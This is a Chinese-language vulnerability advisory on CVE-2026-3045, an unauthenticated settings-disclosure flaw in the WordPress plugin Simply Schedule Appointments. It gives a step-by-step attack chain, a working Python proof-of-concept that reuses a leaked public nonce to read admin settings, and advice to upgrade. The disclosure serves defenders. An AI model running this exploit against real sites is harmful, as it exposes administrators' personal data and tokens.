IPBUF安全漏洞报告
English
CVE-2026-3045 CVSS 7.5 高危

CVE-2026-3045 WordPress Simply Schedule Appointments 未授权访问漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-3045
漏洞类型
未授权访问/IDOR
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Simply Schedule Appointments (WordPress插件)

相关标签

CVE-2026-3045WordPress插件漏洞未授权访问Simply Schedule AppointmentsIDOR敏感信息泄露REST API漏洞

漏洞概述

WordPress Simply Schedule Appointments插件存在未授权访问漏洞,攻击者可在无需认证的情况下访问管理员专属设置。该漏洞由两个复合弱点导致:一是公共REST端点暴露了非用户绑定的public_nonce,二是设置API的get_item()方法虽然使用nonce_permissions_check()进行授权验证,但未调用remove_unauthorized_settings_for_current_user()过滤受限字段。攻击者利用此漏洞可获取管理员邮箱、电话号码、内部访问令牌、通知配置等敏感信息,还可修改或取消预约,给网站安全带来严重威胁。

技术细节

漏洞存在于Simply Schedule Appointments插件的SSA_Settings_Api类中。第一个弱点是插件通过公共REST端点 /wp-json/ssa/v1/embed-inner 向未认证用户暴露了public_nonce,该nonce不与特定用户绑定,可被任何人获取。第二个弱点是get_item()方法在验证权限时依赖nonce_permissions_check(),该函数接受上述公开nonce,但方法体内未调用remove_unauthorized_settings_for_current_user()来过滤管理员专属字段。攻击者首先访问embed-inner端点获取public_nonce,然后携带该nonce请求 /wp-json/ssa/v1/settings/{section} 端点,即可绕过授权检查获取敏感配置数据。攻击者还能利用暴露的预约令牌修改或取消他人预约。

攻击链分析

STEP 1
步骤1
攻击者访问暴露的REST端点 /wp-json/ssa/v1/embed-inner 获取public_nonce
STEP 2
步骤2
使用获取的public_nonce作为X-WP-Nonce请求头访问 /wp-json/ssa/v1/settings/{section} 端点
STEP 3
步骤3
由于get_item()方法未调用remove_unauthorized_settings_for_current_user(),授权检查被绕过
STEP 4
步骤4
攻击者获取管理员邮箱、电话、内部访问令牌、通知配置等敏感信息
STEP 5
步骤5
利用暴露的预约令牌修改或取消他人预约,或进行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-3045 PoC - Unauthorized access to WordPress plugin settings # Target: Simply Schedule Appointments plugin <= 1.6.9.29 TARGET_URL = "http://target-wordpress-site.com" def exploit_cve_2026_3045(): # Step 1: Get public_nonce from the exposed endpoint embed_url = f"{TARGET_URL}/wp-json/ssa/v1/embed-inner" try: response = requests.get(embed_url, timeout=10) if response.status_code == 200: data = response.json() public_nonce = data.get('public_nonce') print(f"[+] Obtained public_nonce: {public_nonce}") # Step 2: Access admin settings using the public nonce settings_url = f"{TARGET_URL}/wp-json/ssa/v1/settings/admin" headers = { 'X-WP-Nonce': public_nonce } settings_response = requests.get(settings_url, headers=headers, timeout=10) if settings_response.status_code == 200: settings = settings_response.json() print(f"[+] Successfully accessed admin settings!") print(f"[+] Settings data: {settings}") return settings except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": exploit_cve_2026_3045()

影响范围

Simply Schedule Appointments < 1.6.9.30

防御指南

临时缓解措施
立即将Simply Schedule Appointments插件升级到1.6.9.30或最新版本。如暂时无法升级,可在Web服务器层面限制对/wp-json/ssa/v1/embed-inner和/wp-json/ssa/v1/settings/等敏感端点的未授权访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表